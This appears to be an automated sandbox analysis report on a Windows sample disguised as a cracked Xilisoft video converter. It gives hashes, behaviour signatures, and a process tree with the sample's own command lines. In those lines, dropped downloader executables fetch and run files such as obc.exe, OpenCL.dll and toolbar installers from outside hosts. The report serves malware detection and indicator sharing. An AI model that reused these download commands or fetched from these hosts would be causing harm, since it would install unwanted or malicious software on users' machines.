Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/10/2024, 08:19

General

  • Target

    128e04c3e0470cadd561fd31717c5a78_JaffaCakes118.exe

  • Size

    511KB

  • MD5

    128e04c3e0470cadd561fd31717c5a78

  • SHA1

    1f33bf5f201d8cc5a8130a596f34e26cf89c2fe8

  • SHA256

    a1626d77253a584b9129bc3c5ef2ff48d056a05b18ccd0ce63792e51f73cda0c

  • SHA512

    c8c27637a47189a0f6ee0cf64379056e7668c2bf347711beeb52c3391fe6aef1d6e5f17cfe98b249c9bde350aa1ccf82d2a519b354c8a015d99d1d6ae3f758af

  • SSDEEP

    12288:oB38l6peEUBwXVwM9vylzdYvH7Aw5XoR0g46:oBsl8XVNCiH7j4RH

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 64 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • NSIS installer 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\128e04c3e0470cadd561fd31717c5a78_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\128e04c3e0470cadd561fd31717c5a78_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1896
    • C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\stub.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:4396
    • C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\OpenCL.dll"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:4664
    • C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\updater.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2776
    • C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\downloaderDDLR.exe
      C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\DirectDownloaderInstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1100
    • C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\downloaderOFFER0.exe
      C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\optimizer.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3624
    • C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\preinstaller.exe 0 "xilisoft video converter ultimate 7 0 32 9 1 [full edition serial key file attached" "Download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:460
    • C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/BitAcceleratorDDLRinstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\BitAcceleratorDDLRinstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2096
    • C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\preinstaller.exe 1 "xilisoft video converter ultimate 7 0 32 9 1 [full edition serial key file attached"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4008
    • C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\preinstaller.exe 3 "xilisoft video converter ultimate 7 0 32 9 1 [full edition serial key file attached"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3144

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\downloaderOFFER2.exe

          Filesize

          58KB

          MD5

          c7f6ed56312c8fbb58ae6ed445c38df4

          SHA1

          e2dba94ef052db774478b9f7198c1a2298b334e5

          SHA256

          fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

          SHA512

          ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

        • C:\Users\Admin\AppData\Local\Temp\4b846f8b8acc99f58f26ebbd22356590\preinstaller.exe

          Filesize

          213KB

          MD5

          06baef00ae0f0e42fc5fea24fc4eac42

          SHA1

          9161574590f09cfe4c24498827386ed57f2e8c58

          SHA256

          19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

          SHA512

          29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

        • C:\Users\Admin\AppData\Local\Temp\nsbE214.tmp\Processes.dll

          Filesize

          35KB

          MD5

          2cfba79d485cf441c646dd40d82490fc

          SHA1

          83e51ac1115a50986ed456bd18729653018b9619

          SHA256

          86b302fa9c85dfa0c1c03ba000864a928365dab571f3355347dba02da22949b7

          SHA512

          cca186a7f9c5cff3f4eca410fbe8cc13dad2514a7e36aec9b1addfbcb239ace9b9b2d8427771858e3fd11783abce7e24d43c286f98da9f8b17562ca095a4c043

        • C:\Users\Admin\AppData\Local\Temp\nssB353.tmp\NSISdl.dll

          Filesize

          14KB

          MD5

          a5f8399a743ab7f9c88c645c35b1ebb5

          SHA1

          168f3c158913b0367bf79fa413357fbe97018191

          SHA256

          dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

          SHA512

          824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

        • memory/460-45-0x0000000000400000-0x000000000043F000-memory.dmp

          Filesize

          252KB

        • memory/1896-55-0x0000000000400000-0x0000000000446000-memory.dmp

          Filesize

          280KB

        • memory/1896-313-0x0000000000400000-0x0000000000446000-memory.dmp

          Filesize

          280KB

        • memory/3144-395-0x0000000000400000-0x000000000043F000-memory.dmp

          Filesize

          252KB

        • memory/3144-689-0x0000000000400000-0x000000000043F000-memory.dmp

          Filesize

          252KB

        • memory/3144-970-0x0000000000400000-0x000000000043F000-memory.dmp

          Filesize

          252KB

        • memory/3144-1793-0x0000000000400000-0x000000000043F000-memory.dmp

          Filesize

          252KB

        • memory/3144-2349-0x0000000000400000-0x000000000043F000-memory.dmp

          Filesize

          252KB

        • memory/4008-56-0x0000000000400000-0x000000000043F000-memory.dmp

          Filesize

          252KB